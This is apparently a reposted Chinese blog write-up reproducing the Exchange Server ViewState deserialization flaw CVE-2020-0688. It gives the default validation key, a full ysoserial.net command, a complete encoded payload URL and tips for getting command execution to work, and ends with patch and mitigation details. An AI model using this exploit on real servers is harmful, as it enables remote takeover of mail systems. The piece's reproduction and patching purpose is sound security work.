您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
網絡公開了一個編號為CVE-2020-0688的Microsoft Exchange Server遠程代碼執行漏洞,丁牛安全團隊對該漏洞進行了模擬復現,分析了該漏洞成因及利用,希望可以幫助企業了解該漏洞的危害,及時修復漏洞遠離黑客攻擊。
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
這個漏洞是由于Exchange服務器在安裝時沒有正確地創建唯一的加密密鑰所造成的。
具體來說,與正常軟件安裝每次都會產生隨機密鑰不同,所有Exchange Server在安裝后的web.config文件中都擁有相同的validationKey和decryptionKey。這些密鑰用于保證ViewState的安全性。而ViewState是ASP.NET Web應用以序列化格式存儲在客戶機上的服務端數據。客戶端通過__VIEWSTATE請求參數將這些數據返回給服務器。攻擊者可以在ExchangeControl Panel web應用上執行任意.net代碼。
當攻擊者通過各種手段獲得一個可以訪問Exchange Control Panel (ECP)組件的用戶賬號密碼時。攻擊者可以在被攻擊的exchange上執行任意代碼,直接獲取服務器權限。
想要利用該漏洞,我們需要四個參數,分別為:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默認,漏洞產生原因)
--validationalg = SHA1(默認,漏洞產生原因)
--generator=B97B4E27(基本默認)
--viewstateuserkey = ASP.NET_SessionId(手工獲取,變量,每次登陸都不一致)
在這四個變量中,前兩個為默認固定,viewstateuserkey和generator的值需要從經過身份驗證的session中收集。viewstateuserkey可以從ASP.NET的_SessionID cookie中獲取,而generator可以在一個隱藏字段__VIEWSTATEGENERATOR中找到。所有這些都可以通過瀏覽器中的工具輕松獲取。
在正常登錄后訪問 /ecp/default.aspx 頁面。使用F12開發者工具的Network選項,刷新頁面重新發送請求,找到登錄時/ecp/default.aspx的原始響應。
在Headers選項卡找到ASP.NET_SessionId的cookie:
在Response選項卡搜索__VIEWSTATEGENERATOR獲取字段值:
如果未找到此字段不必慌張,直接使用默認值B97B4E27 即可。
使用ysoserial.net工具生成反序列化payload。 工具下載地址:https://github.com/pwntester/ysoserial.net/
生成payload命令:
ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy
在生成完payload代碼后,需要對該代碼進行URL Encode編碼構造一個URL
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
將最開始獲得的__VIEWSTATEGENERATOR值替換<generator>,將URL Encode編碼后的payload替換<ViewState>。
示例:
https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuR**ybWF0dGluZy5UZXh0R**ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVnc**1bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljc**zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h5H7xCU%3D
訪問構造好的URL地址,服務器會彈出500的錯誤,但攻擊其實成功了。
登錄服務器查看進程,發現計算器成功啟動。
網上一些說法該漏洞對大版本的小版本有限制。其實不是這樣的,應該是全版本通殺的。本人測試環境server 12 + exchange 2013。測試過15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)也就是update23,均存在漏洞,可以復現成功,16,19未測試,應該差不多。
在最初版本的時候一直沒有這個參數(確實不重要,基本為默認值),造成這一問題的主要原因是沒有更新系統補丁KB2919355,更新該補丁后就會出現__VIEWSTATEGENERATOR字段。
大部分復現者只復現到啟動計算器,但是卻無法創建文件。但經過測試發現問題出在ysoserial.exe的-c參數上,雖然在演示過程中可以直接-c "echo OOOPS!!! > c:/Vuln_Server.txt"創建文件,讓人誤以為-c是在cmd窗口下運行,但是實際上-c實際為“運行”的內容,因此直接echo是不行的,需要-c "cmd /c echo test > C:\1.txt",經測試成功創建文件,如圖所示:
對生成的payload編碼時,需要注意只編碼關鍵的特殊字符即可,如果全編碼的話會無法利用成功。
產品 | 文章 | 下載 |
---|---|---|
Microsoft Exchange Server 2010 Service Pack 3更新匯總30 | 4536989 | 安全更新 |
Microsoft Exchange Server 2013累積更新23 | 4536988 | 安全更新 |
Microsoft Exchange Server 2016累積更新14 | 4536987 | 安全更新 |
Microsoft Exchange Server 2016累積更新15 | 4536987 | 安全更新 |
Microsoft Exchange Server 2019累積更新3 | 4536987 | 安全更新 |
Microsoft Exchange Server 2019累積更新4 | 4536987 | 安全更新 |
由于該漏洞需要利用Exchange Control Panel (ECP)組件,因此禁止此組件訪問也不失為一個較為有效的應急方法,建議條件允許的情況下及時更新補丁。
關于如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。